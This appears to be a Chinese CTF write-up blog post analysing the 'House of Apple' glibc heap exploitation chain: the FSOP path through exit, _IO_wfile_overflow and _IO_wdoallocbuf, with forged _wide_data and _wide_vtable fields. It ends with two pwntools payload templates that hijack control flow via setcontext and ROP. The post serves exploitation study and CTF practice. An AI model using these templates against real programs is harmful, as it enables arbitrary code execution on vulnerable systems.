笔记 & WP

house_of_apple_链子分析

Word count: 1kReading time: 4 min
2024/05/15

AT FIRST

最近在ISCC上做到一道PWN题,其中高版本的largebin attack后的利用手法,很明显是house_of_apple,通过两次largebin attack变可以控制了_IO_list_all的值为堆地址,但是后面上模板老是有问题,这就是这篇文章编写的原因,捋清和加强对FSOP的理解

House Of Apple

基本上是高版本堆题或者在限定条件下很常用的利用手法,利用的条件是程序以libc_start_main函数或者以exit函数退出

通过exit函数会调用fcloseall函数实现FSOP攻击,控制攻击流程

1
exit ---> fcloseall ---> _IO_cleanup ---> _IO_flush_all_lockp ---> _IO_OVERFLOW

最后会遍历_IO_list_all存放的每一个IO_FILE结构体,如果满足条件的话,会调用每个结构体中的vtable->_overflow函数指针指向的函数

如果我们利用largebin attack等修改任意内存的攻击就可以劫持_IO_list_all变量,将其替换为伪造的IO_FILE结构体

House OF Apple 主要利用思想是IO_FILE中的_wide_data的利用

总结利用条件为:

1
2
3
程序从main函数返回或能调用exit函数 或者可以触发FSOP等函数
能泄露出libc地址 并且已知且可以写入的内存地址
能任意写入地址一次 如:largebin attack(一次即可)

FSOP高版本限制说明

libc-2.24之后加入了vtable check机制,我们无法伪造vtable

如何控制程序执行流程

我们知道现在无法直接伪造vtable,但是总有几个系统定义好的IO_FILE没有直接对它们定义的vtable进行检查,所以我们可以间接的控制它

house of apple文章中,也阐明了利用思路是_wide_data_wide_vtable,其原因是_IO_wide_data结构体没有对它的_wide_vtable进行范围检查,而在调用_wide_vtable虚表里面的函数的时候,同样也是使用宏来调用

1
2
3
4
5
6
7
8
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

_IO_wfile_overflow

函数的调用链如下:

1
2
3
4
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

分析_IO_wfile_overflow函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0)
{
_IO_wdoallocbuf (f);// 需要走到这里
// ......
}
}
}

首先要满足f->_flags & _IO_NO_WRITES == 0 并且f->_flags & _IO_CURRENTLY_PUTTING == 0

其次我们要满足f->_wide_data->_IO_write_base == 0

然后我们步进到_IO_wdoallocbuf函数

1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

这里则需要满足fp->_wide_data->_IO_buf_base == 0fp->_flags & _IO_UNBUFFERED == 0

依照以上条件,我们需要进行以下设置:

  • _flags设置为~(2| 0x8 | 0x800),如果不需要控制rdi,通常为0就可以
  • vtable设置为有_IO_wfile_overflowvtable即可,然后记得加减偏移
  • _wide_data设置为可控制的内存地址(即堆地址 A),满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_base设置为0,满足*(fp + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,满足*(fp + 0x30) == 0
  • _wide_data->_wide_vtable设置为可控内存地址(即堆地址B),满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,满足*(B + 0x68) = C

所以我们基本上的模板是

1
2
3
4
5
6
7
8
9
FP = fake_io_addr
A = FP + 0x100
B = A + 0xe0 - 0x60

payload = (0xa0-0x10)*b"\x00" + p64(A) #
payload = payload.ljust(0xb0,b"\x00") + p64(1)
payload = payload.ljust(0xc8,b"\x00") + p64(_IO_wfile_jumps-0x40)
payload = payload.ljust(0x190,b"\x00") + p64(ROP_addr) + p64(ret)
payload = payload.ljust(0xf0+0xe0,b"\x00") + p64(B) + p64(setcontext + 61)

还有 打malloc_assert的模板,但在2.37后不可使用 移除了fflush(stderr);

1
2
3
4
5
6
7
8
9
10
FP = fake_io_addr
A = FP + 0x100
B = A + 0xe0 - 0x60

payload = 0x78*b"\x00" + p64(fake_io_addr+0xb0)
payload = payload.ljust(0xa0-0x10,b"\x00") + p64(A) #
payload = payload.ljust(0xb0,b"\x00") + p64(1)
payload = payload.ljust(0xc8,b"\x00") + p64(_IO_wfile_jumps-0x20) # 需要对应调整
payload = payload.ljust(0x190,b"\x00") + p64(ROP_addr) + p64(ret)
payload = payload.ljust(0xf0+0xe0,b"\x00") + p64(B) + p64(setcontext + 61)
CATALOG
  1. 1. AT FIRST
  2. 2. House Of Apple
    1. 2.1. 如何控制程序执行流程
    2. 2.2. _IO_wfile_overflow